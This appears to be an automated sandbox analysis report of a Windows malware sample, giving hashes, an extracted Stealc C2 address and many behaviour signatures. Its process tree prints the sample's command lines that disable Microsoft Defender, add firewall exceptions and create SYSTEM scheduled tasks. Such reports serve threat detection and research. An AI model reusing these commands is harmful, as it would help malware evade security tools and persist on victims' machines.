Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29-04-2024 18:34

General

  • Target

    3616b7cc732c6a0c15b2c8d5d2c2cf26d9e649d1e1b85fbe85b82889721fe9e3.exe

  • Size

    2.9MB

  • MD5

    41d6a9f69dd2dc30c2fea8bdfdfcabd8

  • SHA1

    6215b290031d78b512a15ce5adcfbda308fc81d9

  • SHA256

    3616b7cc732c6a0c15b2c8d5d2c2cf26d9e649d1e1b85fbe85b82889721fe9e3

  • SHA512

    01d5352a98baa2c4da13a8e057a78c3f4f7a338b35a1e572c5c1d82fd1a9a1faa80cf806c2c606080fc9e854301d60160e9d7cbd0c2174236ab8ff9f80e09109

  • SSDEEP

    49152:QzBfc7DLHlksH8ZDHepCsBST3P+NRYNuP/bAq++ub8kLpkLq/XrmCGjtRs:QzuTk8ALPMRsu7v+URm/XwHs

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 6 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 7 IoCs
  • Executes dropped EXE 22 IoCs
  • Loads dropped DLL 13 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 43 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\3616b7cc732c6a0c15b2c8d5d2c2cf26d9e649d1e1b85fbe85b82889721fe9e3.exe
    "C:\Users\Admin\AppData\Local\Temp\3616b7cc732c6a0c15b2c8d5d2c2cf26d9e649d1e1b85fbe85b82889721fe9e3.exe"
    1⤵
    • UAC bypass
    • Windows security bypass
    • Windows security modification
    • Checks whether UAC is enabled
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3616b7cc732c6a0c15b2c8d5d2c2cf26d9e649d1e1b85fbe85b82889721fe9e3.exe" -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:892
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5020
      • C:\Users\Admin\Pictures\rYQHmcFpMZCI2lLMVlsQIqov.exe
        "C:\Users\Admin\Pictures\rYQHmcFpMZCI2lLMVlsQIqov.exe"
        3⤵
        • Executes dropped EXE
        PID:416
        • C:\Users\Admin\AppData\Local\Temp\ubk.0.exe
          "C:\Users\Admin\AppData\Local\Temp\ubk.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          PID:860
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 860 -s 3012
            5⤵
            • Program crash
            PID:1544
        • C:\Users\Admin\AppData\Local\Temp\ubk.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\ubk.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          PID:1320
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            PID:436
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious use of SetWindowsHookEx
              PID:5072
        • C:\Users\Admin\AppData\Local\Temp\ubk.3.exe
          "C:\Users\Admin\AppData\Local\Temp\ubk.3.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1824
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
              PID:3936
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 416 -s 524
            4⤵
            • Program crash
            PID:3704
        • C:\Users\Admin\Pictures\2QqwdmEprG41dAF4eJbsw6U9.exe
          "C:\Users\Admin\Pictures\2QqwdmEprG41dAF4eJbsw6U9.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:3976
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2320
          • C:\Users\Admin\Pictures\2QqwdmEprG41dAF4eJbsw6U9.exe
            "C:\Users\Admin\Pictures\2QqwdmEprG41dAF4eJbsw6U9.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks for VirtualBox DLLs, possible anti-VM trick
            • Drops file in Windows directory
            PID:1460
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              PID:2588
            • C:\Windows\system32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
              5⤵
                PID:772
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  6⤵
                  • Modifies Windows Firewall
                  PID:4940
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                PID:1524
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:4092
          • C:\Users\Admin\Pictures\lTSs1ST8HHlAZfEbkonjc9k7.exe
            "C:\Users\Admin\Pictures\lTSs1ST8HHlAZfEbkonjc9k7.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:3724
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3680
            • C:\Users\Admin\Pictures\lTSs1ST8HHlAZfEbkonjc9k7.exe
              "C:\Users\Admin\Pictures\lTSs1ST8HHlAZfEbkonjc9k7.exe"
              4⤵
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • Adds Run key to start application
              • Checks for VirtualBox DLLs, possible anti-VM trick
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              PID:1948
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:2036
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                  PID:220
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                    6⤵
                    • Modifies Windows Firewall
                    PID:1484
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  PID:1880
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  PID:4540
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe
                  5⤵
                  • Executes dropped EXE
                  PID:4088
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:3472
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    6⤵
                    • Creates scheduled task(s)
                    PID:5056
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /delete /tn ScheduledUpdate /f
                    6⤵
                      PID:2472
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      PID:1644
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Modifies data under HKEY_USERS
                      PID:2052
              • C:\Users\Admin\Pictures\k9N2iLGgH5IXrwnqkCfnYGEa.exe
                "C:\Users\Admin\Pictures\k9N2iLGgH5IXrwnqkCfnYGEa.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1028
                • C:\Users\Admin\AppData\Local\Temp\7zS8712.tmp\Install.exe
                  .\Install.exe /WkfdidVYT "385118" /S
                  4⤵
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Enumerates system info in registry
                  • Suspicious use of WriteProcessMemory
                  PID:5012
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                      PID:1044
                      • C:\Windows\SysWOW64\forfiles.exe
                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:572
                        • C:\Windows\SysWOW64\cmd.exe
                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                          7⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4372
                          • \??\c:\windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                            8⤵
                              PID:3736
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2732
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                            7⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1844
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                              8⤵
                                PID:3900
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                            6⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1760
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                              7⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3868
                              • \??\c:\windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                8⤵
                                  PID:3020
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                              6⤵
                                PID:228
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                  7⤵
                                    PID:4220
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                      8⤵
                                        PID:2280
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                    6⤵
                                      PID:2876
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                        7⤵
                                          PID:5004
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                            8⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3400
                                            • C:\Windows\SysWOW64\gpupdate.exe
                                              "C:\Windows\system32\gpupdate.exe" /force
                                              9⤵
                                                PID:3112
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                        5⤵
                                          PID:4592
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                            6⤵
                                              PID:1868
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                7⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4500
                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                  8⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2012
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 18:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS8712.tmp\Install.exe\" Wt /XpTdidYNoS 385118 /S" /V1 /F
                                            5⤵
                                            • Drops file in Windows directory
                                            • Creates scheduled task(s)
                                            PID:2732
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                            5⤵
                                              PID:2692
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                6⤵
                                                  PID:4176
                                                  • \??\c:\windows\SysWOW64\schtasks.exe
                                                    schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                    7⤵
                                                      PID:3196
                                            • C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe
                                              "C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe" --silent --allusers=0
                                              3⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Enumerates connected drives
                                              • Modifies system certificate store
                                              • Suspicious use of WriteProcessMemory
                                              PID:1380
                                              • C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe
                                                C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6ffce1d0,0x6ffce1dc,0x6ffce1e8
                                                4⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                PID:1996
                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\88ZAQZnLv9RZwKEYFq5E7vJ2.exe
                                                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\88ZAQZnLv9RZwKEYFq5E7vJ2.exe" --version
                                                4⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                PID:4076
                                              • C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe
                                                "C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1380 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240429183431" --session-guid=469f58b3-1649-483e-bbf1-4bab14bfdc29 --server-tracking-blob="NGEzY2RiM2VlZTcwZWYwZTY5MTMxNTkxZDg5ZDNiN2U5NjBjY2Y4MWRiZjQ5YjYyNGJkZTAyZmMyZTEzN2RmNzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0NDE1NjY1Ljg5NzYiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMDkyNjdlZGYtOTc0Yi00YjQyLWJmMzMtNTlmOTM3OTBlZTdkIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3005000000000000
                                                4⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • Enumerates connected drives
                                                • Suspicious use of WriteProcessMemory
                                                PID:1168
                                                • C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe
                                                  C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2bc,0x2c0,0x2c4,0x28c,0x2c8,0x6edbe1d0,0x6edbe1dc,0x6edbe1e8
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  PID:2668
                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                                                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                PID:2696
                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\assistant_installer.exe
                                                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\assistant_installer.exe" --version
                                                4⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                PID:5044
                                                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\assistant_installer.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x234,0x238,0x23c,0xcc,0x240,0xb56038,0xb56044,0xb56050
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  PID:3912
                                            • C:\Users\Admin\Pictures\cZ66OwyuU2YlIR1ARlg2uowi.exe
                                              "C:\Users\Admin\Pictures\cZ66OwyuU2YlIR1ARlg2uowi.exe"
                                              3⤵
                                              • Modifies firewall policy service
                                              • Windows security bypass
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Windows security modification
                                              • Checks whether UAC is enabled
                                              • Drops file in System32 directory
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              PID:4732
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                            2⤵
                                              PID:1628
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                            1⤵
                                              PID:684
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                              1⤵
                                                PID:2028
                                              • C:\Users\Admin\AppData\Local\Temp\7zS8712.tmp\Install.exe
                                                C:\Users\Admin\AppData\Local\Temp\7zS8712.tmp\Install.exe Wt /XpTdidYNoS 385118 /S
                                                1⤵
                                                • Executes dropped EXE
                                                • Drops desktop.ini file(s)
                                                • Drops file in System32 directory
                                                • Modifies data under HKEY_USERS
                                                PID:2224
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  2⤵
                                                    PID:2784
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                      3⤵
                                                        PID:5036
